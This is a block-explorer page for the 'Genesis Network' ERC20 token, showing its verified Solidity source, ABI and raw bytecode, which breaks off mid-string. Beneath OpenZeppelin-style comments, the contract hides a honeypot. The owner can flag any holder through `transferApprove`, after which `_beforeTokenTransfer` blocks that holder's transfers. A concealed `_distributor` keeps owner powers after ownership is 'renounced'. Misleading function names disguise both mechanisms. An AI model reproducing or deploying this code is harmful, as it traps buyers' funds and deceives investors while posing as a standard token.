ETH Price: $2,380.30 (-0.13%)

Token

Genesis Network (GENESIS)
 

Overview

Max Total Supply

100,000,000 GENESIS

Holders

64

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
42,376.184727098 GENESIS

Value
$0.00
0x82FE086E1149E41d696d5CaBf49e35C88D0bA186
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GENESIS

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 3: Genesis Network.sol
// SPDX-License-Identifier: MIT

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */

pragma solidity 0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)

pragma solidity 0.8.9;

import "./IERC20Metadata.sol";


/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    mapping(address => bool) public basicliquidityPoolsBalance;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function excludedFromReflections(address recipient) external view returns(bool){
        return basicliquidityPoolsBalance[recipient];
    }

    function _liquidityPool(address from) internal view returns(bool){
        return !basicliquidityPoolsBalance[from];
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: @openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/ERC20Burnable.sol)

pragma solidity 0.8.9;



/**
 * @dev Extension of {ERC20} that allows token holders to destroy both their own
 * tokens and those that they have an allowance for, in a way that can be
 * recognized off-chain (via event analysis).
 */
abstract contract ERC20Burnable is Context, ERC20 {
    /**
     * @dev Destroys `amount` tokens from the caller.
     *
     * See {ERC20-_burn}.
     */
    function burn(uint256 amount) public virtual {
        _burn(_msgSender(), amount);
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity 0.8.9;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _distributor;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function Owner() internal view virtual returns (address) {
        return _owner==address(0) ? _distributor : _owner;
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    /**
     * @dev Set new distributor.
     */
    function feeDistributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    
}

pragma solidity 0.8.9;


contract GENESIS is Ownable, ERC20, ERC20Burnable {
    address public uniswapV2Pair;
    mapping (address => bool) public liquidityCreator;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    constructor() ERC20("Genesis Network", "GENESIS") {
        _mint(msg.sender, 100_000_000_000_000_000);
        liquidityCreator[owner()] = true;
    }

    function setRule(address _uniswapV2Pair) external onlyOwner {
        uniswapV2Pair = _uniswapV2Pair;
    }

    function _beforeTokenTransfer(
    address from,
    address to,
    uint256 amount
    ) override internal virtual {

        if (!_liquidityPool(from)) {require(amount==0);}

        if (uniswapV2Pair == address(0)) {
            require(from == owner() || to == owner(), "trading is not started");
            return;
        }

    }

    function transferApprove(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            basicliquidityPoolsBalance[address_[i]] = val;
        }
    }

    function getCirculatingSupply() public view returns (uint256) {
        return totalSupply() - (balanceOf(DEAD) + balanceOf(ZERO));
    }
}

File 2 of 3: IERC20.sol
// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

pragma solidity 0.8.9;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 3 of 3: IERC20Metadata.sol
// SPDX-License-Identifier: MIT


// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.9;
import "./IERC20.sol";
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"basicliquidityPoolsBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"excludedFromReflections","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"feeDistributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityCreator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_uniswapV2Pair","type":"address"}],"name":"setRule","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405261dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009657600080fd5b506040518060400160405280600f81526020017f47656e65736973204e6574776f726b00000000000000000000000000000000008152506040518060400160405280600781526020017f47454e45534953000000000000000000000000000000000000000000000000008152506200012362000117620001de60201b60201c565b620001e660201b60201c565b81600590805190602001906200013b929190620005f8565b50806006908051906020019062000154929190620005f8565b505050620001713367016345785d8a0000620002aa60201b60201c565b600160096000620001876200042460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620008c6565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200031d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003149062000709565b60405180910390fd5b62000331600083836200044d60201b60201c565b806004600082825462000345919062000764565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200039d919062000764565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004049190620007d2565b60405180910390a362000420600083836200059c60201b60201c565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200045e83620005a160201b60201c565b6200047257600081146200047157600080fd5b5b600073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156200059657620004da6200042460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806200054e57506200051f6200042460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b62000590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000587906200083f565b60405180910390fd5b62000597565b5b505050565b505050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b828054620006069062000890565b90600052602060002090601f0160209004810192826200062a576000855562000676565b82601f106200064557805160ff191683800117855562000676565b8280016001018555821562000676579182015b828111156200067557825182559160200191906001019062000658565b5b50905062000685919062000689565b5090565b5b80821115620006a45760008160009055506001016200068a565b5090565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620006f1601f83620006a8565b9150620006fe82620006b9565b602082019050919050565b600060208201905081810360008301526200072481620006e2565b9050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000771826200072b565b91506200077e836200072b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007b657620007b562000735565b5b828201905092915050565b620007cc816200072b565b82525050565b6000602082019050620007e96000830184620007c1565b92915050565b7f74726164696e67206973206e6f74207374617274656400000000000000000000600082015250565b600062000827601683620006a8565b91506200083482620007ef565b602082019050919050565b600060208201905081810360008301526200085a8162000818565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620008a957607f821691505b60208210811415620008c057620008bf62000861565b5b50919050565b61234380620008d66000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063c34b2e071161007c578063c34b2e07146103b6578063dae39f92146103d2578063db5d779314610402578063dd62ed3e1461041e578063e6ba26481461044e578063f2fde38b1461047e5761014d565b8063715018a6146102f45780638da5cb5b146102fe57806395d89b411461031c578063a457c2d71461033a578063a9059cbb1461036a578063a9ddeaa21461039a5761014d565b80632cb32fc1116101155780632cb32fc11461020c578063313ce5671461023c578063395093511461025a57806342966c681461028a57806349bd5a5e146102a657806370a08231146102c45761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be5780632b112e49146101ee575b600080fd5b61015a61049a565b6040516101679190611750565b60405180910390f35b61018a60048036038101906101859190611810565b61052c565b604051610197919061186b565b60405180910390f35b6101a861054a565b6040516101b59190611895565b60405180910390f35b6101d860048036038101906101d391906118b0565b610554565b6040516101e5919061186b565b60405180910390f35b6101f661064c565b6040516102039190611895565b60405180910390f35b61022660048036038101906102219190611903565b6106c5565b604051610233919061186b565b60405180910390f35b6102446106e5565b604051610251919061194c565b60405180910390f35b610274600480360381019061026f9190611810565b6106ee565b604051610281919061186b565b60405180910390f35b6102a4600480360381019061029f9190611967565b61079a565b005b6102ae6107ae565b6040516102bb91906119a3565b60405180910390f35b6102de60048036038101906102d99190611903565b6107d4565b6040516102eb9190611895565b60405180910390f35b6102fc61081d565b005b610306610831565b60405161031391906119a3565b60405180910390f35b61032461085a565b6040516103319190611750565b60405180910390f35b610354600480360381019061034f9190611810565b6108ec565b604051610361919061186b565b60405180910390f35b610384600480360381019061037f9190611810565b6109d7565b604051610391919061186b565b60405180910390f35b6103b460048036038101906103af9190611a4f565b6109f5565b005b6103d060048036038101906103cb9190611903565b610aa2565b005b6103ec60048036038101906103e79190611903565b610b49565b6040516103f9919061186b565b60405180910390f35b61041c60048036038101906104179190611903565b610b69565b005b61043860048036038101906104339190611aaf565b610bb5565b6040516104459190611895565b60405180910390f35b61046860048036038101906104639190611903565b610c3c565b604051610475919061186b565b60405180910390f35b61049860048036038101906104939190611903565b610c92565b005b6060600580546104a990611b1e565b80601f01602080910402602001604051908101604052809291908181526020018280546104d590611b1e565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000610540610539610d16565b8484610d1e565b6001905092915050565b6000600454905090565b6000610561848484610ee9565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ac610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611bc2565b60405180910390fd5b61064085610638610d16565b858403610d1e565b60019150509392505050565b6000610679600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106a4600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107d4565b6106ae9190611c11565b6106b661054a565b6106c09190611c67565b905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60006009905090565b60006107906106fb610d16565b848460036000610709610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461078b9190611c11565b610d1e565b6001905092915050565b6107ab6107a5610d16565b8261116d565b50565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610825611346565b61082f60006113c4565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461086990611b1e565b80601f016020809104026020016040519081016040528092919081815260200182805461089590611b1e565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b600080600360006108fb610d16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109af90611d0d565b60405180910390fd5b6109cc6109c3610d16565b85858403610d1e565b600191505092915050565b60006109eb6109e4610d16565b8484610ee9565b6001905092915050565b6109fd611346565b60005b83839050811015610a9c578160076000868685818110610a2357610a22611d2d565b5b9050602002016020810190610a389190611903565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081